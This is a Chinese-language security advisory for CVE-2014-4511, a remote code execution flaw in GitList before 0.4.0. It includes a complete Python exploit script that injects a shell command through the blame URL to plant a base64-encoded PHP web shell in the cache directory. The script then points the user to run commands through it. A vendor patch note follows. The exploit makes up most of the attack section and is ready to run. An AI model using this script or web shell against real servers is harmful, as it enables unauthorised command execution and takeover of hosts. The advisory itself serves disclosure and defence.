发布日期：2014-06-30
更新日期：2014-07-02

受影响系统：
GitList GitList < 0.4.0
 GitList GitList
描述：
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BUGTRAQ  ID: 68253
 CVE(CAN) ID: CVE-2014-4511
 
GitList是用PHP编写的开源软件，是git库浏览器。
 
GitList 0.4.0之前版本在实现上存在远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。
 
<*来源：drone
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
from commands import getoutput
 import urllib
 import sys
 from commands import getoutput
 import urllib
 import sys

 """
 Exploit Title: Gitlist <= 0.4.0 anonymous RCE
 Date: 06/20/2014
 Author: drone (@dronesec)
 Vendor Homepage: http://gitlist.org/
 Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
 Version: <= 0.4.0
 Fixed in: 0.5.0
 Tested on: Debian 7
 More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
 cve: CVE-2014-4511
 """

 if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)

 url = sys.argv[1]
 url = url if url[-1] != '/' else url[:-1]

 path = "/var/www/gitlist/cache"
 if len(sys.argv) > 2:
    path = sys.argv[2]

 print '[!] Using cache location %s' % path

 # payload <?system($_GET['cmd']);?>
 payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

 # sploit; python requests does not like this URL, hence wget is used
 mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
 mpath = url+ urllib.quote(mpath)

 out = getoutput("wget %s" % mpath)
 if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
 else:
    print '[-] Failed to drop'
    print out

建议：
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厂商补丁：
 
GitList
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
 
http://gitlist.org/